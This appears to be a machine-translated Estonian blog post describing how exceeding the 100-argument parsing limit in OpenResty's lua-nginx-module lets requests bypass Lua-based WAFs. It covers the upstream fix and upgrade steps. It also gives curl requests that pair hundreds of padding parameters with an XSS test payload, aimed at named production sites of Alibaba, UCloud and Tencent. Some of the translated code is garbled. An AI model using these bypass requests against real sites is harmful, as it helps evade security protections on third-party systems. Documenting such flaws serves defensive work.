|
|
Postitatud 27.04.2018 09:23:29
|
|
|
|

Kui ginx Lua saab parameetreid, saadakse vaikimisi esimesed 100 parameetri väärtust ja ülejäänud jäetakse kõrvale. Seetõttu jäetakse Nginx Lua kasutavad WAF-id vaikimisi vahele. 20. ja 18. aprillil oli turvareisija keegi selle detaili juba avalikustanud, nii et avaldasin ka selle artikli 233.
Põhimõte
Ametlik kirjeldus on järgmine
Pane tähele, et vaikimisi parsitakse maksimaalselt 100 päringuargumenti (sh sama nimega) ning täiendavad taotlusargumendid visatakse vaikselt kõrvale, et kaitsta võimalike võimalike vastuvõttude eest teenusetõkestusrünnakud. Vaikimisi saab kuni 100 päringuparameetrit (sh sama nimega) parsida ning lisapäringuparameetrid eemaldatakse automaatselt, et vältida võimalikke teenusetõkestusrünnakuid.
Otsi 100, umbes järgmisel meetodil on sama probleem. ngx.req.get_uri_args Hangi taotlusparameetrid ngx.req.get_post_args Hangi postituse taotlusparameetrid ngx.req.get_headers Hangi päringu päis ngx.decode_args Dekodeeri parameetrite URL ngx.resp.get_headers Hangi vastuse päis Lua-nginx-mooduli lähtekoodis näeme, et lähtekood seab vaikimisi maksimaalse päringuparameetri ja päise väärtuseks 100
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
Kuid ametnik pakub meetodit vaikimisi väärtuse muutmiseks, näiteks ngx.req.get_uri_args (200), et saada esimesed 200 päringuparameetrit.
Katse
Kui taotlusparameeter on 101, ei saa viimast päringuparameetrit saada.
Curl -V 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'
Kui vähendad ühte päringuparameetrit, saad viimase päringu parameetri, kui päringu parameetrid on täpselt 100.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 V: ZBG Ma sain aru, zbg
Pane tähele, et vaikimisi on tõepoolest 100 päringuparameetrit ning pärast 100 päringu parameetrit jäetakse ära.
On kummaline, et ülaltoodud tagastussisus, ligikaudse positsiooni keskel, on lõplik zbg parameeter juba väljundis. Minu arvamus on, et väljund ei ole järjekorras, kuid parsimise järjekord järgib parameetrite esitamise järjekorda, sest kui 101. parameetri väärtus on zbg, siis seda väärtust ei saa.
Lisatud on pythoni skript, mis genereerib parameetrid:
# Autor: ZBG # Mail:zbg@zbg.org # kuupäev: 2018-04-03
a = '' I vahemikus (200): a = a + 'a{0}={1}&'.format(i+1, i+1) Prindi a Remont Loomulikult ei soovitata lähtekoodis parameetri MAX-väärtust muuta. Sest ükskõik kui suur väärtus sa määrad, seda saab mööda minna. Soovitatav on seadistada meetodi parameetrite järgi. Kui saad päringuparameetri pikkuse ja kasutada meetodit nagu ngx.req.get_uri_args (pikkus), kas sellest ei piisaks? Dokumentatsiooni lugedes leidsin, et soovitud parameetrite arvu ei õnnestunud saada. Kui aga seada pikkuse 0-ks, saad kõik soovitud parameetrid.
Seda argumenti saab nulli seada, et eemaldada piirang ja töödelda kõiki saadud päringuargumente. lokaalsed args = ngx.req.get_uri_args(0)
Siiski on tungivalt soovitatav seada see 0-le, et vältida võimalikke teenusetõkestusrünnakuid.
max_args katte eemaldamine on tugevalt ebasoovitatav.
Tegelikult mõtlesin, miks 0 seadmine võiks viia võimaliku teenusetõkestusrünnakuni ja päring läheks niikuinii nginx-i, ükskõik kui palju parameetreid get'is või post'is oleks.
Tõstatasin ametnikule probleemi ja autor ütles, et ngx.req.get_uri_args (0) suurendab serveri protsessori ja mälu kasutust. Hiljem testisin 200 parameetrit ja kasutasin Nginx+php parameetrit, et saada 200. parameeter, mis tähendab, et Nginx ei piira vaikimisi soovitud parameetrite arvu. Siis võib probleem peituda Nginx Luas endas,Kui Nginx Lua kasutab ngx.req.get_uri_args(0), et saada kõik parameetrid ja neid läbi iteratsioonide teha, siis kui parameetreid on palju nõutud, kulutab see rohkem protsessorit ja mälu ning lõpuks viib isegi teenuse keelamiseni。
04.03.2018 tõstatas Bypass007 ametlikult PROBLEEMI selle veaparanduse kohta ning lisas lõpuks ametlikult uue funktsiooni selle PROBLEEMI põhjal 2018-04-21. Selle funktsiooni commit-kirje aadress: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
Funktsiooni kirjeldus on järgmine: Versioonides pärast versiooni v0.10.13 (sh v0.10.13), kui taotluste piirarv on ületatud, on teine tagastusväärtus kärbitud string. Alates v0.10.13-st, kui piir ületatakse, tagastatakse teine väärtus, mis on string "lühendatud". Kuid valikuline max_args funktsiooni argument võib selle piirangu ületamiseks kasutada: lokaalsed args, err = ngx.req.get_uri_args(10) kui err == "lõigatud", siis -- siin saab valida praeguse taotluse ignoreerimise või tagasilükkamise Lõpp
Nii tuli lõplik parandus.
Uuenda lua-nginx-moodul versioonile v0.10.13 või uuem
Seejärel piira parameetrite koguarvu, sest kui palju see arv piiratud on, arvan isiklikult, et 100 on piisav
OpenResty uuendab lua-nginx-mooduli moodulit
Ma ei leidnud OpenResty uuendusmooduli kohta mingit infot, nii et mõtlesin ise välja, kuidas lua-nginx-mooduli moodulit uuendada.
Sammud on järgmised:
Laadi alla vastav versioon lua-nginx-mooduli moodulist wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 Lahti tar -zxvf v0.10.13 Kustuta eelmine lua-nginx-mooduli versioon RM -RF Openresty-1.9.15.1/bundle/ngx_lua-0.10.5 Kopeeri uus lua-nginx-moodul MV Lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13 Kompilatsiooni jaoks vaata VeryNginx kompileerimisparameetreid
Juhtumi ümbersõit
Tuleks täpsustada, et järgmiste WAF-ide puhul ma ei ole kindel, kas kasutada Nginx Lua-d, kuid neid saab mööda minna parameetrite koguarvuga.
Ali WAF
See WAF on WAF, mida kasutab sisemiselt Alibaba, ehk WAF, mida kasutavad näiteks domeeninimed nagu *.taobao.com, ning seda pole testitud Alibaba Cloudi pilvepõhise WAF-i jaoks. Esiteks palu POST XSS Payload, et see kinni püüda. curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com Fuzzi kaudu leiti, et kui XSS Payloadiga suurendatakse parameetrite arvu 478-ni, seda enam ei püüta kinni ja veebilehele pääseb tavapäraselt ligi. Curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a13=113&a114=114&a115=115&a16= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=133& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=224=224&a225=225&a26=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&334=334&a335=335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=466&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a==<img src=x onerror=alert(/xss/)>' lu.taobao.com
UCloud
Testitud WAF on UCloudi müüdud WAF. Kui päringu parameeter tõstetakse 138-ni, siis seda enam ei blokeerita ja veebilehele pääsetakse tavapäraselt ligi. Curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a13=113&a114=114&a115=115&a16= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=133& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn
Tencent WAF
See WAF on WAF, mida Tencent kasutab sisemiselt, st WAF, mida kasutavad näiteks domeeninimed nagu *.qq.com, ning seda pole testitud Tencent Cloudi poolt müüdava pilve-WAF-i jaoks. Kui päringu parameeter tõuseb 4000-ni, ei blokeerita seda enam ja veebilehele pääseb ligi tavapäraselt. Mõjutatud on järgmiste domeenide juhuslikud testid. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
Kokkuvõte
See küsimus on väga lihtne ja selle leiab dokumenti hoolikalt lugedes. Aga miks ma ei saanud teada? Ma arvan, et see on ikka liiga vähe mõtlemist. Viide
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
Eelmine:Õpi Photoshopi nullist, 18 õppetundi algajalt jumalaksJärgmine:Lua ja Luajiti tugevused ja nõrkused
|